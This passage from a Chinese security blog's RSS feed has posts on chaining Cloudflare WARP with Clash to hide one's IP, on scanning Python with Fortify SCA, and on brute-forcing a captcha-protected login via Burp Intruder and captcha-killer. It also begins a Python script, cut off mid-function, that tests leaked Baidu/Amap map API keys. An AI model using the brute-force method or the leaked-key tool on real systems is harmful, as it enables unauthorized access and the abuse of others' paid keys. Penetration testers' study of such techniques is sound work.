&lt;hr&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>利用Cloudflare做二级代理</title><link>https://astro-pure.js.org/blog/cloudflare-proxy</link><guid isPermaLink="true">https://astro-pure.js.org/blog/cloudflare-proxy</guid><description>利用Cloudflare做二级代理</description><pubDate>Fri, 06 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1&lt;/h2&gt;
&lt;p&gt;CF 良心的一批！&lt;/p&gt;
&lt;p&gt;访问地址：&lt;a href=&quot;https://1.1.1.1/&quot;&gt;https://1.1.1.1/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;2&lt;/h2&gt;
&lt;p&gt;为什么有这个想法呢，因为&lt;/p&gt;
&lt;p&gt;~~能白嫖不要给钱~~&lt;/p&gt;
&lt;p&gt;有些站点对ip限制的比较死，云厂商的ip偶尔是白名单，封ip比较快，不想被封而已。&lt;/p&gt;
&lt;p&gt;发现cf给的ip还是比较干净的，相当舒服了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1683705000957-b1c459.D9CoIDOq.png&amp;#x26;w=1836&amp;#x26;h=1006&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;3&lt;/h2&gt;
&lt;p&gt;详细设置步骤：&lt;/p&gt;
&lt;h4&gt;clash：&lt;/h4&gt;
&lt;p&gt;我本地使用的clash，因为我需要接管我的全网卡流量，我这里以clash举例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;打开clash的tun模式，选择全局代理&lt;/li&gt;
&lt;li&gt;打开clash的系统代理模式，为CF走代理作用&lt;/li&gt;
&lt;li&gt;看一下clash监听端口是多少，我这里是7890&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Cloudflare&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;启用Cloudflare的proxy代理模式&lt;/li&gt;
&lt;li&gt;填入clash的端口&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1683705261197-a9c8b4.e-7b-4k-.png&amp;#x26;w=1380&amp;#x26;h=340&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;连接即可。&lt;/p&gt;
&lt;p&gt;效果图如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1683705336157-0200ca.SKXfUAIp.png&amp;#x26;w=1386&amp;#x26;h=604&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;注意事项&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;挂着二级代理不卡吗？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不卡，看油管2k没问题。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为什么不直接裸连cf&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;测试发现了一个有趣的问题，如果单挂cf的话，会直接显示你的真实物理位置。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1683706123840-cb02c3.DljBjfxF.png&amp;#x26;w=2144&amp;#x26;h=830&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我没有实际去研究为什么会造成这种情况，网上有参考例子：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.skk.moe/post/something-about-cf-warp/&quot;&gt;https://blog.skk.moe/post/something-about-cf-warp/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;5.10日更新：&lt;/p&gt;
&lt;p&gt;为什么会造成真实物理位置泄漏的原因是 ipv6&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1683706440465-263365.Bh8U5bnx.png&amp;#x26;w=1946&amp;#x26;h=774&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;使用cf提供的测试地址，你可以发现第三行的ip是你的真实IP。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1683706617943-4a1458.C76v8QIh.png&amp;#x26;w=1582&amp;#x26;h=382&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1683706653006-769eb1.DAUH9s1C.png&amp;#x26;w=1720&amp;#x26;h=808&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;此处的ipv4走的确实是美国的cf，但是开启warp之后会启用一个ipv6，这个ipv6不受保护的，就这么简单。&lt;/p&gt;
&lt;p&gt;所以测试的时候发现开启了warp也能获取到真实的地址的情况下，多半是你的ipv6优先了。&lt;/p&gt;
&lt;p&gt;修复方法也很简单，禁用ipv6即可。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;另外的玩法&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;warp用来解锁线路，还有给vps解锁ip的玩法挺多的，具体请自行搜索，这里不过多解释了。&lt;/p&gt;
&lt;h2&gt;5&lt;/h2&gt;
&lt;p&gt;最佳的解决方案是给vps套warp，然后vps组成代理，利用clash的链式代理即可达到隐藏ip的目的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1683707828640-973621.64F6t9C1.png&amp;#x26;w=3840&amp;#x26;h=2160&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Fortify SCA (Windows + VS Code 插件) 扫描 Python 代码指南</title><link>https://astro-pure.js.org/blog/fortify-sca-python-guide</link><guid isPermaLink="true">https://astro-pure.js.org/blog/fortify-sca-python-guide</guid><description>Fortify SCA (Windows + VS Code 插件) 扫描 Python 代码指南</description><pubDate>Thu, 31 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近接到一个活，要对python代码进行代码扫描，之前只用过fortify扫描Java类的代码，搜索了一下支持python类代码扫描，和常规的方式不一样 记录一下过程。&lt;/p&gt;
&lt;h2&gt;一、前期准备&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Fortify Static Code Analyzer (SCA)&lt;/strong&gt;：Windows 232.2 版本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安装 VS Code&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安装 Fortify VSC 插件&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;打开 VS Code。&lt;/li&gt;
&lt;li&gt;进入 Extensions 视图 (快捷键 &lt;code&gt;Ctrl+Shift+X&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;搜索 &quot;Fortify&quot;，找到并安装 &quot;Fortify VSC&quot; 插件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1754920841342-74a4d2.BvbWGMo_.png&amp;#x26;w=599&amp;#x26;h=124&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;二、Fortify VSC 插件配置&lt;/h2&gt;
&lt;p&gt;在 VS Code 中，打开 Fortify 插件界面（通常在左侧活动栏找到 Fortify 图标）。打开显示如下。&lt;/p&gt;
&lt;p&gt;第一个不用管，直接切换到Static Code Analyzer executable path视图。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1754920879174-c60f4a.Xqub21sB.png&amp;#x26;w=2257&amp;#x26;h=841&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;2.1 配置 SCA 可执行文件路径&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1754921038810-bb58c4.Bix8wNWH.png&amp;#x26;w=2527&amp;#x26;h=1129&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字段：&lt;/strong&gt;&lt;code&gt;Static Code Analyzer executable path&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;说明：&lt;/strong&gt; 指定 &lt;code&gt;sourceanalyzer.exe&lt;/code&gt; 的路径。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设置：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;推荐：&lt;/strong&gt; 如果您已将 Fortify SCA 的 &lt;code&gt;bin&lt;/code&gt; 目录添加到系统环境变量 &lt;code&gt;Path&lt;/code&gt; 中，则此处直接输入 &lt;code&gt;sourceanalyzer&lt;/code&gt; 即可。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1754921079062-cf0535.C3JGVlrF.png&amp;#x26;w=1235&amp;#x26;h=223&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **备用：** 如果上述方法不行，点击右侧的 `Browse...` 按钮，导航到Fortify SCA 安装目录，找到 `bin` 文件夹，然后选择 `sourceanalyzer.exe`。
    * **示例路径：** `C:\Program Files\Fortify\Fortify_SCA_and_Apps_&amp;#x3C;版本号&gt;\bin\sourceanalyzer.exe`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置基本上就配置好了，剩下的用vscode打开需要扫描的目录，再点击一下Fortify插件的按钮即可自动填充。&lt;/p&gt;
&lt;h3&gt;2.2 配置构建 ID&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字段：&lt;/strong&gt;&lt;code&gt;Build ID&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;说明：&lt;/strong&gt; 为本次扫描任务设置一个唯一的标识符。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.3 配置扫描结果输出路径 (FPR)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字段：&lt;/strong&gt;&lt;code&gt;Scan results location (FPR)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;说明：&lt;/strong&gt; 指定扫描结果文件（&lt;code&gt;.fpr&lt;/code&gt; 文件）的保存路径和文件名。Fortify Audit Workbench 将使用此文件。默认在代码库的根目录文件夹下保存此文件&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.4 配置日志路径&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字段：&lt;/strong&gt;&lt;code&gt;Log location&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;说明：&lt;/strong&gt; SCA 扫描的日志文件路径。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设置：&lt;/strong&gt; 通常保持默认即可。可以点击右侧的 &lt;code&gt;Open&lt;/code&gt; 按钮查看日志。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.5 配置选项 (Python 特有)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字段：&lt;/strong&gt;&lt;code&gt;Add translation options&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;说明：&lt;/strong&gt; 针对 Python 代码，您需要在此处指定 Python 版本和依赖库路径。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设置：&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;勾选 &lt;strong&gt;&lt;code&gt;Add translation options&lt;/code&gt;&lt;/strong&gt; 复选框。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;在勾选后出现的文本框中，输入以下参数。请根据您的 Python 环境调整路径。
&lt;ul&gt;
&lt;li&gt;首先，通过在命令行运行 &lt;code&gt;python3 -c &quot;import sys; print(sys.path)&quot;&lt;/code&gt; 获取的 Python 模块搜索路径。我这里如下：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[&apos;&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\python311.zip&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\DLLs&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\Lib&apos;, &apos;D:\\Scoop\\apps\\python311\\current&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages\\win32&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages\\win32\\lib&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages\\Pythonwin&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;    * 因此，应该在 Fortify 插件中输入：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;-python-version 3 -python-path &quot;D:\Scoop\apps\python311\current\DLLs;D:\Scoop\apps\python311\current\Lib;D:\Scoop\apps\python311\current\Lib\site-packages&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;        + `-python-version 3`：指定您的 Python 版本为 3。
        + `-python-path &quot;...&quot;`：列出 Python 查找标准库和第三方库的路径，用分号 `;` 分隔。这些路径来自您 `sys.path` 的输出。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.6 其他选项 (可选)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Add scan options&lt;/code&gt;：用于添加 SCA 扫描阶段的额外参数，一般保持默认即可。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Update security content&lt;/code&gt;：使用最新的漏洞检测规则。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;三、执行扫描&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;完成上述所有配置后，点击 Fortify VSC 插件界面底部的 &lt;code&gt;Scan&lt;/code&gt;** 按钮**。&lt;/li&gt;
&lt;li&gt;扫描过程将在后台运行。可以在 VS Code 的 &lt;code&gt;OUTPUT&lt;/code&gt; 面板或终端中查看扫描进度和详细日志。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;五、查看扫描结果&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;扫描完成后，会在 &lt;code&gt;Scan results location (FPR)&lt;/code&gt; 中指定的路径生成一个 &lt;code&gt;.fpr&lt;/code&gt; 文件（例如：&lt;code&gt;python_results.fpr&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;打开 &lt;strong&gt;Fortify Audit Workbench&lt;/strong&gt; 客户端应用程序。&lt;/li&gt;
&lt;li&gt;点击 &quot;File&quot; -&gt; &quot;Open Project&quot;，然后选择生成的 &lt;code&gt;.fpr&lt;/code&gt; 文件。&lt;/li&gt;
&lt;li&gt;在 Audit Workbench 中，可以详细查看扫描到的安全漏洞、漏洞类型、严重程度、受影响的代码行、数据流分析以及修复建议。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1754921736218-e3a17d.ZNsIcFUP.png&amp;#x26;w=625&amp;#x26;h=344&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>鉴权验证码如何绕过</title><link>https://astro-pure.js.org/blog/bypass-auth-captcha</link><guid isPermaLink="true">https://astro-pure.js.org/blog/bypass-auth-captcha</guid><description>鉴权验证码如何绕过</description><pubDate>Sat, 26 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;鉴权验证码如何绕过&lt;/h1&gt;
&lt;h2&gt;0x01&lt;/h2&gt;
&lt;p&gt;在项目上遇到了一个登陆口，但是有验证码，同时使用了当前验证码的UUID进行鉴权，简单来说就是&lt;/p&gt;
&lt;p&gt;如果需要爆破登录接口，需要识别验证码的同时携带上本次验证码的UUID同时爆破，接口才能返回信息。&lt;/p&gt;
&lt;p&gt;样式如下：&lt;/p&gt;
&lt;h2&gt;0X02&lt;/h2&gt;
&lt;p&gt;UUID同时有时间校验&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1710752038946-844156.ClTk8jEK.png&amp;#x26;w=2198&amp;#x26;h=1156&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;UUID正常的情况下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1710752039187-465916.DRoZEN9F.png&amp;#x26;w=2208&amp;#x26;h=654&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;重发包的情况下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1710752039366-36401c.CZ0pjW6S.png&amp;#x26;w=1434&amp;#x26;h=296&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;此处的UUID功能可以有：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;时间戳&lt;/li&gt;
&lt;li&gt;SIGN校验&lt;/li&gt;
&lt;li&gt;验证码更新&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;爆破的时候就有个很尴尬的问题，如果直接引入burp里面，他的UUID是不会更新的，代表每一次的请求SIGN都是无效的。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0X03&lt;/h2&gt;
&lt;p&gt;解决方案：&lt;/p&gt;
&lt;p&gt;captcha-keiller 自带了一个解决方案&lt;/p&gt;
&lt;p&gt;其中regex就是用来提取token之类的参数的。&lt;/p&gt;
&lt;p&gt;regex需要用正则提取，参考如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1710752039472-aa0e3f.CW7W9klo.png&amp;#x26;w=1053&amp;#x26;h=557&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;在intrude模块里面设置一下，在intruder中增加校验的参数&lt;code&gt;@captcha-killer-modified@&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;参考如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1710752039566-721d0a.ZnXqkxB-.png&amp;#x26;w=1959&amp;#x26;h=575&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;爆破回显已经能够正确的运行：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1710752039681-9f2ac2.BsHJnrIS.png&amp;#x26;w=1573&amp;#x26;h=750&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;log日志显示如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1710752039820-d05dc0.JNbhnYfP.png&amp;#x26;w=1713&amp;#x26;h=366&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1710752039962-db9f9b.DXe-U4Y_.png&amp;#x26;w=2310&amp;#x26;h=400&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;完美解决这个问题。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>泄露地图AK一键检测利用</title><link>https://astro-pure.js.org/blog/leak-map-ak-detection</link><guid isPermaLink="true">https://astro-pure.js.org/blog/leak-map-ak-detection</guid><description>泄露地图AK一键检测利用</description><pubDate>Sun, 10 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;背景&lt;/h2&gt;
&lt;p&gt;在一次APK反编译的时候发现存在一个关于map的KEY，试了几个接口无法调用成功，具体不知道哪个对应的接口和服务，于是配合GPT写了这份代码，旨在实现自动化AK利用。&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
import argparse
import requests
import random
import time
import certifi
import json
import traceback
import os
from termcolor import colored
from typing import List, Dict, Tuple, Optional, Any
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib3.exceptions import InsecureRequestWarning

# --- Banner ---
BANNER = &quot;&quot;&quot;


                                                                                           
                            by: 地图API密钥全自动检测工具
&quot;&quot;&quot;

# --- Configuration ---

# Emojis for output enhancement
EMOJI_DETECT = &quot;🔍&quot;
EMOJI_PLATFORM = &quot;🏷️&quot;
EMOJI_KEY_FORMAT = &quot;🔑&quot;
EMOJI_SERVICE = &quot;▶️&quot;
EMOJI_SUCCESS = &quot;✅&quot;
EMOJI_FAIL = &quot;❌&quot;
EMOJI_CLOCK = &quot;⏱️&quot;
EMOJI_INFO = &quot;ℹ️&quot;
EMOJI_ERROR = &quot;❗&quot;
EMOJI_WARNING = &quot;⚠️&quot;
EMOJI_NETWORK = &quot;🌐&quot;
EMOJI_QUOTA = &quot;🚦&quot;
EMOJI_PERM = &quot;🔒&quot;
EMOJI_WRITE = &quot;💾&quot;
EMOJI_TOOL = &quot;🛠️&quot;


# Disable SSL warnings (use cautiously)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Safe coordinate bounds
SAFE_BOUNDS = {
    &apos;global&apos;: {&apos;lon_min&apos;: -180, &apos;lon_max&apos;: 180, &apos;lat_min&apos;: -90, &apos;lat_max&apos;: 90},
    &apos;china&apos;: {&apos;lon_min&apos;: 73.66, &apos;lon_max&apos;: 135.05, &apos;lat_min&apos;: 3.86, &apos;lat_max&apos;: 53.55}
}

# Test address pool
TEST_ADDRESS_POOL = [
    &quot;北京市朝阳区望京soho&quot;,
    &quot;上海市浦东新区陆家嘴环路1288号&quot;,
    &quot;广州市天河区珠江新城临江大道5号&quot;,
    &quot;深圳市福田区深南大道6001号&quot;,
    &quot;成都市锦江区红星路三段1号&quot;
]

# --- Helper Classes ---

class GeoGenerator:
    &quot;&quot;&quot;Generates random geographic data.&quot;&quot;&quot;
    @staticmethod
    def random_coord(region=&apos;china&apos;):
        bounds = SAFE_BOUNDS[region]
        return (
            round(random.uniform(bounds[&apos;lat_min&apos;], bounds[&apos;lat_max&apos;]), 6),
            round(random.uniform(bounds[&apos;lon_min&apos;], bounds[&apos;lon_max&apos;]), 6)
        )

    @staticmethod
    def random_ip():
        # Generate a public IP range more likely to be locatable
        while True:
            ip = f&quot;{random.randint(1, 223)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}&quot;
            parts = [int(p) for p in ip.split(&apos;.&apos;)]
            if parts[0] == 10: continue
            if parts[0] == 127: continue
            if parts[0] == 172 and 16 &amp;#x3C;= parts[1] &amp;#x3C;= 31: continue
            if parts[0] == 192 and parts[1] == 168: continue
            if parts[0] &gt;= 224: continue
            return ip


class KeyValidator:
    &quot;&quot;&quot;Validates key format and detects platform.&quot;&quot;&quot;
    @staticmethod
    def detect_platform(key: str) -&gt; Tuple[str, str]:
        &quot;&quot;&quot;Detects platform and provides format description.&quot;&quot;&quot;
        if re.match(r&apos;^[0-9a-fA-F]{32}$&apos;, key):
            return &apos;amap&apos;, &apos;高德 (32位 Hex)&apos;
        if re.match(r&apos;^[A-Za-z0-9]{32}$&apos;, key):
            if re.match(r&apos;^[0-9a-fA-F]{32}$&apos;, key):
                 return &apos;ambiguous&apos;, &apos;可能是高德或百度 (纯Hex字符)&apos;
            return &apos;baidu&apos;, &apos;百度 (32位 Alnum)&apos;
        return &apos;unknown&apos;, &apos;未知格式&apos;


class APITester:
    &quot;&quot;&quot;Executes API test calls.&quot;&quot;&quot;
    def __init__(self):
        self.user_agents = [
            &apos;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36&apos;,
            &apos;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15&apos;,
            &apos;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36&apos;,
            &apos;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0&apos;
        ]

    def _generate_service_configs(self, platform: str) -&gt; Dict:
         &quot;&quot;&quot;Generates service configs dynamically for fresh random data.&quot;&quot;&quot;
         coord = GeoGenerator.random_coord()
         random_addr = random.choice(TEST_ADDRESS_POOL)
         random_ip = GeoGenerator.random_ip()

         if platform == &apos;amap&apos;:
            return {
                &quot;静态地图&quot;: {
                    &quot;url&quot;: &quot;https://restapi.amap.com/v3/staticmap&quot;,
                    &quot;params&quot;: {&quot;location&quot;: f&quot;{coord[1]},{coord[0]}&quot;, &quot;zoom&quot;: 10, &quot;size&quot;: &quot;400*300&quot;, &quot;markers&quot;: f&quot;mid,,A:{coord[1]},{coord[0]}&quot;},
                    &quot;is_static&quot;: True
                },
                &quot;地理编码&quot;: {
                    &quot;url&quot;: &quot;https://restapi.amap.com/v3/geocode/geo&quot;,
                    &quot;params&quot;: {&quot;address&quot;: random_addr}
                },
                &quot;逆地理编码&quot;: {
                    &quot;url&quot;: &quot;https://restapi.amap.com/v3/geocode/regeo&quot;,
                    &quot;params&quot;: {&quot;location&quot;: f&quot;{coord[1]},{coord[0]}&quot;}
                },
                &quot;路径规划&quot;: {
                    &quot;url&quot;: &quot;https://restapi.amap.com/v3/direction/driving&quot;,
                    &quot;params&quot;: {&quot;origin&quot;: &quot;116.481028,39.989643&quot;, &quot;destination&quot;: &quot;116.434446,39.90816&quot;}
                },
                &quot;IP定位&quot;: {
                    &quot;url&quot;: &quot;https://restapi.amap.com/v3/ip&quot;,
                    &quot;params&quot;: {&quot;ip&quot;: random_ip}
                }
            }
         elif platform == &apos;baidu&apos;:
            return {
                &quot;静态地图&quot;: {
                    &quot;url&quot;: &quot;https://api.map.baidu.com/staticimage/v2&quot;,
                    &quot;params&quot;: {&quot;center&quot;: f&quot;{coord[1]},{coord[0]}&quot;, &quot;zoom&quot;: 10, &quot;width&quot;: 400, &quot;height&quot;: 300, &quot;markers&quot;: f&quot;{coord[1]},{coord[0]}&quot;},
                    &quot;is_static&quot;: True
                },
                &quot;地理编码&quot;: {
                    &quot;url&quot;: &quot;https://api.map.baidu.com/geocoding/v3/&quot;,
                    &quot;params&quot;: {&quot;address&quot;: random_addr, &quot;output&quot;: &quot;json&quot;}
                },
                &quot;逆地理编码&quot;: {
                    &quot;url&quot;: &quot;https://api.map.baidu.com/reverse_geocoding/v3/&quot;,
                    &quot;params&quot;: {&quot;location&quot;: f&quot;{coord[0]},{coord[1]}&quot;, &quot;output&quot;: &quot;json&quot;}
                },
                &quot;路径规划&quot;: {
                    &quot;url&quot;: &quot;https://api.map.baidu.com/direction/v2/driving&quot;,
                    &quot;params&quot;: {&quot;origin&quot;: &quot;40.01116,116.339303&quot;, &quot;destination&quot;: &quot;39.936404,116.452562&quot;}
                },
                &quot;IP定位&quot;: {
                    &quot;url&quot;: &quot;https://api.map.baidu.com/location/ip&quot;,
                    &quot;params&quot;: {&quot;ip&quot;: random_ip, &quot;coor&quot;: &quot;bd09ll&quot;}
                }
            }
         return {}

    def _call_api(self, url: str, params: dict, platform: str, service_name: str, is_static: bool = False) -&gt; Tuple[bool, dict]:
        &quot;&quot;&quot;Executes a single API request with retries.&quot;&quot;&quot;
        current_params = params.copy()
        retries = current_params.pop(&apos;retry&apos;, 2) + 1
        detail = {&apos;params&apos;: params, &apos;latency&apos;: None, &apos;error&apos;: None, &apos;error_info&apos;: None, &apos;response&apos;: None}

        for attempt in range(retries):
            response = None
            try:
                headers = {&apos;User-Agent&apos;: random.choice(self.user_agents)}
                start_time = time.time()
                response = requests.get(
                    url,
                    params=current_params,
                    headers=headers,
                    timeout=15,
                    verify=certifi.where(),
                    stream=is_static
                )
                latency = round((time.time() - start_time) * 1000, 2)
                detail[&apos;latency&apos;] = latency

                content_type = response.headers.get(&apos;Content-Type&apos;, &apos;&apos;).lower()

                if is_static and response.status_code == 200 and content_type.startswith(&apos;image/&apos;):
                    detail[&apos;response&apos;] = {&apos;content_type&apos;: content_type, &apos;status_code&apos;: 200}
                    response.close()
                    return True, detail

                if response.status_code != 200:
                    error_msg = f&quot;HTTP {response.status_code}&quot;
                    try:
                        error_data = response.json()
